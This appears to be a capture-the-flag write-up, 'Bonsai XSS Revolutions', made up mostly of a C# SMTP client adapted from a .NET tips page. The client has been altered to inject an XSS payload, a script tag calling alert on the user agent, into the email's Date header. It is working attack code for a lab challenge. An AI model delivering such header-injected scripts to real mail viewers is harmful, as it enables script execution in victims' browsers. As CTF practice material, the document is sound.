Bonsai XSS Revolutions writeup

mail.cs

// SMTPでメールを送信する: .NET Tips: C#, VB.NET
// http://dobon.net/vb/dotnet/internet/smtpmail.html

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Mail;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace mail
{
	class Program
	{
		static void Main(string[] args)
		{
			while (true)
			{
				try
				{
					var from = Console.ReadLine();

					var mail = new SmtpMailMessage
					{
						From = from,
						To = "[email protected]",
						Subject = "hoge",
						Body = "hoge"
					};
					
					var smtp = new Smtp();
					//SMTPサーバー名
					smtp.SmtpServer = "localhost";
					//ポート番号
					smtp.SmtpPort = 25;

					smtp.Send(mail);
				}
				catch
				{
					Console.WriteLine("fail");
				}
			}
			
		}
	}




	/// <summary>
	/// 送信用のメールメッセージを表すクラス
	/// </summary>
	public class SmtpMailMessage
	{
		private string _from = "";
		/// <summary>
		/// 送信者のメールアドレス
		/// </summary>
		public string From
		{
			get
			{
				return _from;
			}
			set
			{
				_from = value;
			}
		}

		private string _to = "";
		/// <summary>
		/// 送信先のメールアドレス
		/// </summary>
		public string To
		{
			get
			{
				return _to;
			}
			set
			{
				_to = value;
			}
		}

		private string _subject = "";
		/// <summary>
		/// メールの件名
		/// </summary>
		public string Subject
		{
			get
			{
				return _subject;
			}
			set
			{
				_subject = value;
			}
		}

		private string _body = "";
		/// <summary>
		/// メールの本文
		/// </summary>
		public string Body
		{
			get
			{
				return _body;
			}
			set
			{
				_body = value;
			}
		}

		private Encoding _encoding = Encoding.GetEncoding(50220);
		/// <summary>
		/// 使用するエンコーディング
		/// </summary>
		public Encoding Encoding
		{
			get
			{
				return _encoding;
			}
			set
			{
				_encoding = value;
			}
		}
	}

	/// <summary>
	/// Smtpクラスで発生するエラーを表したクラス
	/// </summary>
	public class SmtpException : Exception
	{
		public SmtpException()
			: base()
		{
		}
		public SmtpException(string message)
			: base(message)
		{
		}
		public SmtpException(string message, Exception inner)
			: base(message, inner)
		{
		}
	}

	/// <summary>
	/// SMTPの認証方法を表す列挙体
	/// </summary>
	public enum SmtpAuthMethod
	{
		/// <summary>
		/// 認証を行わない
		/// </summary>
		None,
		/// <summary>
		/// AUTH PLAIN
		/// </summary>
		Plain,
		/// <summary>
		/// AUTH LOGIN
		/// </summary>
		Login,
		/// <summary>
		/// AUTH CRAM-MD5
		/// </summary>
		CramMd5
	}

	/// <summary>
	/// SMTPでメールを送信するためのクラス
	/// </summary>
	public class Smtp : IDisposable
	{
		#region プロパティ
		private string _smtpServer = "";
		/// <summary>
		/// SMTPサーバー
		/// </summary>
		public string SmtpServer
		{
			get
			{
				return _smtpServer;
			}
			set
			{
				_smtpServer = value;
			}
		}

		private int _smtpPort = 25;
		/// <summary>
		/// ポート番号
		/// </summary>
		public int SmtpPort
		{
			get
			{
				return _smtpPort;
			}
			set
			{
				_smtpPort = value;
			}
		}

		private string _authUserName = "";
		/// <summary>
		/// 認証で用いるユーザー名
		/// </summary>
		public string AuthUserName
		{
			get
			{
				return _authUserName;
			}
			set
			{
				_authUserName = value;
			}
		}

		private string _authPassword = "";
		/// <summary>
		/// 認証で用いるパスワード
		/// </summary>
		public string AuthPassword
		{
			get
			{
				return _authPassword;
			}
			set
			{
				_authPassword = value;
			}
		}

		private SmtpAuthMethod _authMethod = SmtpAuthMethod.None;
		/// <summary>
		/// 使用する認証方法
		/// </summary>
		public SmtpAuthMethod AuthMethod
		{
			get
			{
				return _authMethod;
			}
			set
			{
				_authMethod = value;
			}
		}

		private string _heloName = System.Net.Dns.GetHostName();
		/// <summary>
		/// EHLOで送信するドメイン名
		/// </summary>
		public string HeloName
		{
			get
			{
				return _heloName;
			}
			set
			{
				_heloName = value;
			}
		}
		#endregion

		#region フィールド
		private TcpClient _socket;
		private NetworkStream _stream;
		private System.IO.StreamReader _reader;
		private System.IO.StreamWriter _writer;
		//SMTPサーバーから受信したメッセージ
		private string _receivedMessage;
		//SMTPサーバーから受信したReply Code
		private int _receivedCode;
		private Encoding _encoding;
		#endregion

		#region パブリックメソッド
		/// <summary>
		/// メールを送信する
		/// </summary>
		/// <param name="mail">送信するメール</param>
		public void Send(SmtpMailMessage mail)
		{
			//初期設定
			_encoding = mail.Encoding;

			try
			{
				//SMTPサーバーと接続する
				Connect();

				//EHLO
				SendHeloCommand(HeloName);
				//AUTH
				if (AuthMethod != SmtpAuthMethod.None)
					Authenticate();
				//MAIL FROM
				SendMailFromCommand(mail.From);
				//RCPT TO
				SendRcptToCommand(mail.To);
				//DATA
				SendDataCommand(mail);
				//QUIT
				SendQuitCommand();
			}
			finally
			{
				//切断する
				Close();
			}
		}

		/// <summary>
		/// SMTPサーバーと接続する
		/// </summary>
		public void Connect()
		{
			if (_socket != null)
				Close();

			//TcpClientオブジェクトを作成する
			_socket = new TcpClient();

			//SMTPサーバーと接続する
			_socket.Connect(SmtpServer, SmtpPort);
			//サーバーとデータの送受信を行うストリームを取得する
			_stream = _socket.GetStream();
			_reader = new System.IO.StreamReader(_stream, _encoding);
			_writer = new System.IO.StreamWriter(_stream, _encoding);

			//サーバーからのはじめのメッセージを受信
			ReceiveData();
			if (_receivedCode != 220)
				throw new SmtpException(_receivedMessage);
		}

		/// <summary>
		/// SMTPサーバーに文字列を送信し、応答を受信する
		/// </summary>
		/// <param name="message">送信する文字列</param>
		/// <returns>受信した応答</returns>
		public string SendAndReceiveData(string message)
		{
			if (_socket == null)
				throw new SmtpException("サーバーに接続していません。");

			SendData(message);
			ReceiveData();

			return _receivedMessage;
		}

		/// <summary>
		/// SMTPサーバーとの接続を終了する
		/// </summary>
		public void Close()
		{
			Dispose();
		}

		public void Dispose()
		{
			if (_reader != null)
			{
				_reader.Close();
			}
			if (_writer != null)
			{
				_writer.Close();
			}
			if (_stream != null)
			{
				_stream.Close();
			}
			if (_socket != null)
			{
				_socket.Close();
			}
			_socket = null;
		}
		#endregion

		#region プライベートメソッド
		//サーバーからデータを受信する
		private void ReceiveData()
		{
			StringBuilder buffer = new StringBuilder();
			string line;
			do
			{
				//1行読み取る
				line = _reader.ReadLine();
				if (line == null)
				{
					break;
				}
				buffer.Append(line).Append("\r\n");
				//表示
				System.Diagnostics.Debug.WriteLine("S: " + line);
			}
			while (System.Text.RegularExpressions.Regex.IsMatch(
					line, @"^\d+-"));

			//受信したメッセージとコードをフィールドに入れる
			_receivedMessage = buffer.ToString();
			_receivedCode = int.Parse(_receivedMessage.Substring(0, 3));
		}

		//サーバーにデータを送信する
		private void SendData(string str)
		{
			//送信
			_writer.Write(str);
			_writer.Flush();

			//表示
			System.Diagnostics.Debug.Write("C: " + str);
		}

		//エンコードし、Base64に変換
		private string GetBase64String(string str)
		{
			return Convert.ToBase64String(_encoding.GetBytes(str));
		}

		//EHLOコマンドを送る
		private void SendHeloCommand(string domainName)
		{
			SendAndReceiveData("EHLO " + domainName + "\r\n");
			if (_receivedCode != 250)
				throw new SmtpException(_receivedMessage);
		}

		//MAIL FROMコマンドを送る
		private void SendMailFromCommand(string fromAddress)
		{
			SendAndReceiveData("MAIL FROM:<" + fromAddress + ">\r\n");
			if (_receivedCode != 250)
				throw new SmtpException(_receivedMessage);
		}

		//RCPT TOコマンドを送る
		private void SendRcptToCommand(string toAddress)
		{
			SendAndReceiveData("RCPT TO:<" + toAddress + ">\r\n");
			if (_receivedCode < 250 || 251 < _receivedCode)
				throw new SmtpException(_receivedMessage);
		}

		//DATAコマンドを送る
		private void SendDataCommand(SmtpMailMessage mail)
		{
			SendAndReceiveData("DATA\r\n");
			if (_receivedCode != 354)
				throw new SmtpException(_receivedMessage);

			//送信データを作成する
			string data = CreateSendStringDataFromMessage(mail);
			SendAndReceiveData(data);
			if (_receivedCode != 250)
				throw new SmtpException(_receivedMessage);
		}

		//SmtpMailMessageをDATAコマンドで送信する文字列に変換する
		private string CreateSendStringDataFromMessage(SmtpMailMessage mail)
		{
			StringBuilder data = new StringBuilder();

			data.Append("From: ").Append(mail.From).Append("\r\n");
			data.Append("To: ").Append(mail.To).Append("\r\n");
			//件名をBase64でエンコード
			data.Append("Subject: =?" + _encoding.BodyName + "?B?").
				Append(GetBase64String(mail.Subject)).
				Append("?=").Append("\r\n");
				
			// XSS
			data.Append("Date: <script>alert(window.navigator.userAgent);</script>\r\n");
			data.Append("MIME-Version: 1.0\r\n");
			data.Append("Content-Transfer-Encoding: 7bit\r\n");
			data.Append("Content-Type: text/plain; charset=" +
				_encoding.BodyName + "\r\n");

			data.Append("\r\n").
				Append(mail.Body.Replace("\r\n.\r\n", "\r\n..\r\n"));

			data.Append("\r\n.\r\n");

			return data.ToString();
		}

		//QUITコマンドを送る
		private void SendQuitCommand()
		{
			SendAndReceiveData("QUIT\r\n");
			//if (_receivedCode != 221)
			//    throw new SmtpException(_receivedMessage);
		}

		//認証を行う
		private void Authenticate()
		{
			switch (AuthMethod)
			{
				case SmtpAuthMethod.Plain:
					AuthenticateWithAuthPlain();
					break;
				case SmtpAuthMethod.Login:
					AuthenticateWithAuthLogin();
					break;
				case SmtpAuthMethod.CramMd5:
					AuthenticateWithCramMd5();
					break;
			}
		}

		//AUTH PLAINで認証を行う
		private void AuthenticateWithAuthPlain()
		{
			SendAndReceiveData("AUTH PLAIN\r\n");
			if (_receivedCode != 334)
			{
				if (_receivedCode == 502)
					//認証の必要なし
					return;
				throw new SmtpException(_receivedMessage);
			}

			string str = AuthUserName + '\0' + AuthUserName +
				'\0' + AuthPassword;
			SendAndReceiveData(GetBase64String(str) + "\r\n");
			if (_receivedCode != 235)
				throw new SmtpException(_receivedMessage);
		}

		//AUTH LOGINで認証を行う
		private void AuthenticateWithAuthLogin()
		{
			SendAndReceiveData("AUTH LOGIN\r\n");
			if (_receivedCode != 334)
			{
				if (_receivedCode == 502)
					//認証の必要なし
					return;
				throw new SmtpException(_receivedMessage);
			}

			SendAndReceiveData(GetBase64String(AuthUserName) + "\r\n");
			if (_receivedCode != 334)
				throw new SmtpException(_receivedMessage);

			SendAndReceiveData(GetBase64String(AuthPassword) + "\r\n");
			if (_receivedCode != 235)
				throw new SmtpException(_receivedMessage);
		}

		//CRAM-MD5で認証を行う
		private void AuthenticateWithCramMd5()
		{
			SendAndReceiveData("AUTH CRAM-MD5\r\n");
			if (_receivedCode != 334)
			{
				if (_receivedCode == 502)
					//認証の必要なし
					return;
				throw new SmtpException(_receivedMessage);
			}

			SendAndReceiveData(CreateCramMd5ResponseString(
				_receivedMessage.Substring(4), AuthUserName, AuthPassword)
				+ "\r\n");
			if (_receivedCode != 235)
				throw new SmtpException(_receivedMessage);
		}

		//CRAM-MD5で返す文字列を計算する
		private static string CreateCramMd5ResponseString(
			string challenge, string username, string password)
		{
			//デコードする
			byte[] decCha = Convert.FromBase64String(challenge);
			//passwordをキーとしてHMAC-MD5で暗号化する
			System.Security.Cryptography.HMACMD5 hmacMd5 =
				new System.Security.Cryptography.HMACMD5(
					Encoding.UTF8.GetBytes(password));
			byte[] encCha = hmacMd5.ComputeHash(decCha);
			hmacMd5.Clear();
			//16進数の文字列にする
			string hexCha = BitConverter.ToString(encCha).
				Replace("-", "").ToLower();
			//usernameを付ける
			hexCha = username + " " + hexCha;
			//Base64で文字列にする
			return Convert.ToBase64String(Encoding.UTF8.GetBytes(hexCha));
		}
		#endregion
	}
}